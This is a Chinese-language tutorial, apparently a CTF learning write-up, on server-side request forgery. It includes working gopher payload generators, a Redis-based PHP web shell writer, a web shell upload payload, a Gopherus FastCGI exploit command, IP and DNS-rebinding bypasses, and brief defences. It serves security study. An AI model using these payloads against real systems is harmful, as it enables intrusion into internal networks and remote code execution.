我在CTFHub学习SSRF
字数 1679 2025-08-15 21:33:02
SSRF漏洞详解与实战教学
1. SSRF基础概念
1.1 什么是SSRF
SSRF (Server-Side Request Forgery, 服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的安全漏洞。SSRF攻击的目标通常是外网无法访问的内网系统。
1.2 漏洞原理
攻击者利用了可访问Web服务器(A)的特定功能构造恶意payload,由A发起对内部网络中系统B(内网隔离,外部不可访问)的请求,从而获取敏感信息。此时A被作为中间人(跳板)进行利用。
1.3 漏洞成因
SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤和限制。例如:
- 从指定URL地址获取网页文本内容
- 加载指定地址的图片
- 下载功能等
2. SSRF攻击方式
- 端口扫描:对外网、服务器所在内网、本地进行端口扫描,获取服务的banner信息
- 攻击内网应用:攻击运行在内网或本地的应用程序
- 指纹识别:对内网Web应用进行指纹识别,识别企业内部的资产信息
- 攻击Web应用:利用HTTP GET请求攻击内外网的Web应用
- 下载内网资源:利用file协议读取本地文件或资源
- DoS攻击:请求大文件,始终保持连接
- 跳板利用:作为攻击内网其他系统的跳板
- 利用Redis未授权访问:HTTP CRLF注入实现getshell
3. SSRF协议利用
3.1 基础协议利用
3.1.1 HTTP协议
- 用于访问内网Web服务
- 示例:
/?url=http://127.0.0.1/flag.php
3.1.2 File协议
- 用于读取服务器本地文件
- 示例:
/?url=file:///var/www/html/flag.php
3.1.3 Dict协议
- 用于端口扫描和服务识别
- 示例:
/?url=dict://127.0.0.1:6379/info
3.2 Gopher协议
Gopher协议是SSRF中的"万金油",可以攻击内网的多种服务。
3.2.1 构造POST请求
import urllib.parse
payload = """
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=c384d200658f258e5b5c681bf0aa29a8
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)
3.2.2 文件上传
import urllib.parse
payload = """
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 328
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryraDVcM1y9juGcBJu
------WebKitFormBoundaryraDVcM1y9juGcBJu
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
<?php eval($_POST[whoami]); ?>
------WebKitFormBoundaryraDVcM1y9juGcBJu--
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)
3.2.3 攻击FastCGI
使用Gopherus工具生成攻击FastCGI的payload:
python gopherus.py --exploit fastcgi /var/www/html/index.php
3.2.4 攻击Redis
Redis攻击脚本:
import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save"]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print urllib.quote(payload)
4. SSRF Bypass技巧
4.1 URL Bypass
- 使用
@符号绕过:http://notfound.ctfhub.com@127.0.0.1/flag.php
4.2 数字IP Bypass
- 八进制:
0177.0.0.1 - 十六进制:
0x7f.0.0.1 - 十进制:
2130706433 - 其他表示:
http://0/、http://localhost/
4.3 302跳转Bypass
- 使用xip.io服务:
http://127.0.0.1.xip.io/flag.php - 使用短网址服务:
https://4m.cn/FjOdQ→http://127.0.0.1/flag.php
4.4 DNS重绑定Bypass
- 使用DNS重绑定服务:
https://lock.cmpxchg8b.com/rebinder.html - 获取测试域名:如
7f000001.2f653948.rbndr.us - 构造请求:
/?url=7f000001.2f653948.rbndr.us/flag.php
5. 防御措施
- 过滤输入:对用户输入的URL进行严格校验
- 限制协议:只允许HTTP/HTTPS协议
- 设置黑名单:禁止访问内网IP和敏感域名
- 禁用重定向:避免302跳转被利用
- 使用白名单:只允许访问特定的域名或IP
- 最小化权限:服务端请求使用低权限账户
6. 实战总结
SSRF漏洞的危害程度取决于服务器在内网中的位置和权限。通过本教程,我们学习了:
- 如何利用不同协议进行SSRF攻击
- 如何构造复杂的Gopher请求攻击内网服务
- 多种绕过限制的技巧
- 防御SSRF的最佳实践
在实际渗透测试中,SSRF往往能成为突破内网边界的关键漏洞,需要特别重视。